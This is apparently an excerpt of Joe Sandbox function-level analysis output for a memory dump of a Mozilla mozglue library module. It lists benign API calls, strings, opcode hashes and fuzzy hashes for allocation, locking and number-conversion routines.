Opcode ID: dd5156e8b15c9ad4b64e0431a6da064d30592a7a155fc8da6252d656bb78c394
Instruction ID: d86dbd4f944a0c107634e0c2c1c4a522a845cecc69a20866d80072b3976dabc9
Opcode Fuzzy Hash: dd5156e8b15c9ad4b64e0431a6da064d30592a7a155fc8da6252d656bb78c394
Instruction Fuzzy Hash: CD21DA31B072499BEF04CF65D845BAE737DBF45B08FA00968D90AA7A40DF32E9448BD1

Function 6C99CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99CDA4

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

Part of subcall function 6C99D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C99CDBA,00100000,?,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99D158
Part of subcall function 6C99D130: InitializeConditionVariable.KERNEL32(00000098,?,6C99CDBA,00100000,?,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99CDC4

Part of subcall function 6C997480: ReleaseSRWLockExclusive.KERNEL32(?,6C9A15FC,?,?,?,?,6C9A15FC,?), ref: 6C9974EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99CECC

Part of subcall function 6C95CA10: mozalloc_abort.MOZGLUE(?), ref: 6C95CAA2

Part of subcall function 6C98CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C99CEEA,?,?,?,?,00000000,?,6C98DA31,00100000,?,?,00000000), ref: 6C98CB57
Part of subcall function 6C98CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C98CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C99CEEA,?,?), ref: 6C98CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C98DA31,00100000,?,?,00000000,?), ref: 6C99D058

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 53a1e112ea14b910f1947be84d1825d55c2dcecde6854349d90a541db824734f
Instruction ID: 0892775fc576c73293983052d37afcba1c147151415274476bea792376a58769
Opcode Fuzzy Hash: 53a1e112ea14b910f1947be84d1825d55c2dcecde6854349d90a541db824734f
Instruction Fuzzy Hash: A6D16E71A04B06DFD708CF28C4807A9F7E1BF99308F05866DD85987752EB31E9A5CB81

Function 6C951720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9517B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9518EE
free.MOZGLUE(?), ref: 6C951911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95194C

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 5ad3dc6a95d6748c345cd7f40f95761941bcf03bf8a1cf156136b4b5c317a008
Instruction ID: 07fda4c24e46d36e43ec6fb860c08af43a89f4a2b618da39e9cf8c1b23fd2e0a
Opcode Fuzzy Hash: 5ad3dc6a95d6748c345cd7f40f95761941bcf03bf8a1cf156136b4b5c317a008
Instruction Fuzzy Hash: 1481D070A152059FCB08CF68D8D49BEBBB1FF8A314F44466CE811AB754D730E964CBA2

Function 6C965C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C965D40
EnterCriticalSection.KERNEL32(6C9CF688), ref: 6C965D67
__aulldiv.LIBCMT ref: 6C965DB4
LeaveCriticalSection.KERNEL32(6C9CF688), ref: 6C965DED

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: ddd66e674ce80ce5b5ee5d466eb60d513d54a8bee49142ca05f75cc085c13460
Instruction ID: 3fcd5998d1413ea36bce2762f10ecd945bb4f6b8e1be2faa72530e812f680f42
Opcode Fuzzy Hash: ddd66e674ce80ce5b5ee5d466eb60d513d54a8bee49142ca05f75cc085c13460
Instruction Fuzzy Hash: F5518F71E041198FDF08CF69C955ABEBBB1FB85308F298619C811A7B91C730AA45CB90

Function 6C94CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C94CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C94CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C94CF4E

Strings

0, xrefs: 6C94CF30

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: ed12effaeb460a7cb1d4cb12f2965600fa8f58789665dcc49cbc4113549bf0e9
Instruction ID: 04544bc6df0d8360a9d16c315ffef4a31cb4e115ac6345662ac5f93474864648
Opcode Fuzzy Hash: ed12effaeb460a7cb1d4cb12f2965600fa8f58789665dcc49cbc4113549bf0e9
Instruction Fuzzy Hash: 7F512171A0021A8FCB00CF18C890AAABBB5EF99300F19819DD8595F752D331ED0ACBE0

Function 6C9A77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9A7829

Part of subcall function 6C97CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9431A7), ref: 6C97CC45
Part of subcall function 6C97CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9431A7), ref: 6C97CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9A789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9A78CF

Part of subcall function 6C944DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C944E5A
Part of subcall function 6C944DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C944E97

Part of subcall function 6C944290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C983EBD,6C983EBD,00000000), ref: 6C9442A9

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 7e893ea497618d729dcd7161561c6f43550d10c177543207a9c5ac1743c72b9e
Instruction ID: 65eb8f78341e3d75a027a4a21f895b8bdbf6dab44f29a8e639d95375ca5a1d95
Opcode Fuzzy Hash: 7e893ea497618d729dcd7161561c6f43550d10c177543207a9c5ac1743c72b9e
Instruction Fuzzy Hash: A641AF71A087469BD300DF29C48056BFBF4FFDA254F604A2EE4A987640DB30D55ACBD2

Function 6C986470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9882BC,?,?), ref: 6C98649B

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9864A9

Part of subcall function 6C97FA80: GetCurrentThreadId.KERNEL32 ref: 6C97FA8D
Part of subcall function 6C97FA80: AcquireSRWLockExclusive.KERNEL32(6C9CF448), ref: 6C97FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C98653F
free.MOZGLUE(?), ref: 6C98655A

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 3037ce0e34e583c361f08ac4722b7c9cda3b469a97c896f380624cc34dd93374
Instruction ID: f3e5f1fad4ff195d9c3d9b4ea21a8e26e322cc183c29e8f1376c911287a505e1
Opcode Fuzzy Hash: 3037ce0e34e583c361f08ac4722b7c9cda3b469a97c896f380624cc34dd93374
Instruction Fuzzy Hash: 963192B5A05705AFD700CF14D88069EBBF4FF98314F10482DE85A97741E730E918CB92

Function 6C97FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C99D019,?,?,?,?,?,00000000,?,6C98DA31,00100000,?), ref: 6C97FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C99D019,?,?,?,?,?,00000000,?,6C98DA31,00100000,?,?), ref: 6C97FFF5
free.MOZGLUE(?,?,?,?,?,6C99D019,?,?,?,?,?,00000000,?,6C98DA31,00100000,?), ref: 6C98001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C99D019,?,?,?,?,?,00000000,?,6C98DA31,00100000,?,?), ref: 6C98002A

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: ab42fa5394bf12ab61a14ffa0d56a45d475f1e3bec09108fb271abcf24a61503
Instruction ID: a5336b2c1be7f2fb8e441000bf4140db803503db0cce8c00cccb74f5ff4c993f
Opcode Fuzzy Hash: ab42fa5394bf12ab61a14ffa0d56a45d475f1e3bec09108fb271abcf24a61503
Instruction Fuzzy Hash: 642106B2A012165BD7189E7CDC948AFB7BAFB953243250738E425E7780EA30DD1186E0

Function 6C95B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C95B4F5
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C95B502
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C95B542
free.MOZGLUE(?), ref: 6C95B578

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 249aa01e563ab71f0a81897ca9e9fe6c623f7b9ba90c811cb2f9867f26264514
Instruction ID: fabca83d9928548eaafb784b6680a0c7b4eec2112116da5e4e3bf8ff615b6e72
Opcode Fuzzy Hash: 249aa01e563ab71f0a81897ca9e9fe6c623f7b9ba90c811cb2f9867f26264514
Instruction Fuzzy Hash: DA11DF31A08B41C7D712CF29C404761B3B4FFA6319F60970AE84953E02EBB4F2D68791

Function 6C983DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C94F20E,?), ref: 6C983DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C94F20E,00000000,?), ref: 6C983DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C983E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C983E0E

Part of subcall function 6C97CC00: GetCurrentProcess.KERNEL32(?,?,6C9431A7), ref: 6C97CC0D
Part of subcall function 6C97CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9431A7), ref: 6C97CC16

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: ac84092447acdf4c3880fb64977ecbd2897f2930facb9d95ec3294b302c9588b
Instruction ID: 7024fba1be685bb377a29c8eda6507c41e6a9a1ba76c47512464e33cd5778b18
Opcode Fuzzy Hash: ac84092447acdf4c3880fb64977ecbd2897f2930facb9d95ec3294b302c9588b
Instruction Fuzzy Hash: 2DF01CB1A00208BBEB00AB54DC81DAB376DEB56628F180420FE0957B41D635FE6986F7

Function 6C9920B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9920B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C97FBD1), ref: 6C9920C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C97FBD1), ref: 6C9920DA
free.MOZGLUE(00000000,?,6C97FBD1), ref: 6C9920F1

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: fddd362c79a293b713b6712e3decac16826eb7e83e74c00f4ae218e128ff86d9
Instruction ID: 46f5b4d9cd5cc679675aa5b09d3a6ecafcb062ec84263345106a0f9a44b77884
Opcode Fuzzy Hash: fddd362c79a293b713b6712e3decac16826eb7e83e74c00f4ae218e128ff86d9
Instruction Fuzzy Hash: FCE02B31604A149BC7209F25D80854EB7FDFFA6314B14022AE50AC3B00D775F6468BD5

Function 6C9985B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9985D3

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C998725

Strings

map/set<T> too long, xrefs: 6C998720

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 95b5fedaf0bed0a849fb6e7ba842c31a3ca7720a6a86d072a9216a97f1fb25c0
Instruction ID: aeb2f7bc71a798d4af03f7ba37d0b6bcdab205dce5135253bed05905a4435554
Opcode Fuzzy Hash: 95b5fedaf0bed0a849fb6e7ba842c31a3ca7720a6a86d072a9216a97f1fb25c0
Instruction Fuzzy Hash: A55164B46006458FD709CF18C084A5ABBF1BF5A318F18C29ED8599FB52C335E885CF96

Function 6C94BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C94BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C94BE8F

Strings

0, xrefs: 6C94BE5B

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 794ccfa1aba2b80a6ee8843f4f23e4ae713365992e3fb69117ce58ac9193b80e
Instruction ID: b7ce165b22b733d57f73b4e468564707282eaf9a309f1c8d319bcc814e4586be
Opcode Fuzzy Hash: 794ccfa1aba2b80a6ee8843f4f23e4ae713365992e3fb69117ce58ac9193b80e
Instruction Fuzzy Hash: E6419E71909B45DFC711CF38C481A9FB7F8AF9A348F008A5DF985A7611D730D9498B82

Function 6C983CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C983D19
mozalloc_abort.MOZGLUE(?), ref: 6C983D6C

Strings

d, xrefs: 6C983D58

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: cfb3743b5210ce4220ac95e09aec2af620083b755af0e46e3e17bd3f7f9fda42
Instruction ID: 3247f701c3997493e6ed75df0fa8b64a998d1c2debe54363fbf290a96d3fdad5
Opcode Fuzzy Hash: cfb3743b5210ce4220ac95e09aec2af620083b755af0e46e3e17bd3f7f9fda42
Instruction Fuzzy Hash: E0110432E09688D7DB049B69C8144EEB775FF96218B449618DC459B702FB30E684C390

Function 6C954730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9544B2,6C9CE21C,6C9CF7F8), ref: 6C95473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C95474A

Strings

GetNtLoaderAPI, xrefs: 6C954744

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: f0b7f0bd37c71f1c58b544dabeb4463ebdfd4f8cb818d8d21608044b511793e5
Instruction ID: 3dd159d90e6e79effa68781a0d8faa8660e0ffb2d3ac2fb266438ffb8b6eb9f3
Opcode Fuzzy Hash: f0b7f0bd37c71f1c58b544dabeb4463ebdfd4f8cb818d8d21608044b511793e5
Instruction Fuzzy Hash: A0019E763097589FDF00AF66C88461D7BBDEB8B721B244069E90AD7300CB70E911CF92

Function 6C9A6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9A6E22
__Init_thread_footer.LIBCMT ref: 6C9A6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9A6E1D

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4cfee4e10c9622f0899fe02c19cf04673722d845297fdc804dff81cabd816885
Instruction ID: e9d392d36b5b8bdb6ed80ee2efe73eca484f4c81eb15b4288be7059a371b5c3e
Opcode Fuzzy Hash: 4cfee4e10c9622f0899fe02c19cf04673722d845297fdc804dff81cabd816885
Instruction Fuzzy Hash: 86F0593134924CCBDB008BACCA50A813771936B21CF340165C81546B91C721F62FCAA3

Function 6C959E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C959EEF

Strings

NaN, xrefs: 6C959EC1
Infinity, xrefs: 6C959EB7

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: d6b3cb92747f354a7eb06a9cd679a9d66f13d1d701890b99ae44f9f02c0062a5
Instruction ID: 1e1be07c954469fa5f0454c53171ebe82ba03cd99030ef7247f4918356d59a81
Opcode Fuzzy Hash: d6b3cb92747f354a7eb06a9cd679a9d66f13d1d701890b99ae44f9f02c0062a5
Instruction Fuzzy Hash: 6AF0A9B1709241CAEB00CF18E846B813371A35B32EF304A19D9080AB40D735E79ECA97

Function 6C95BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

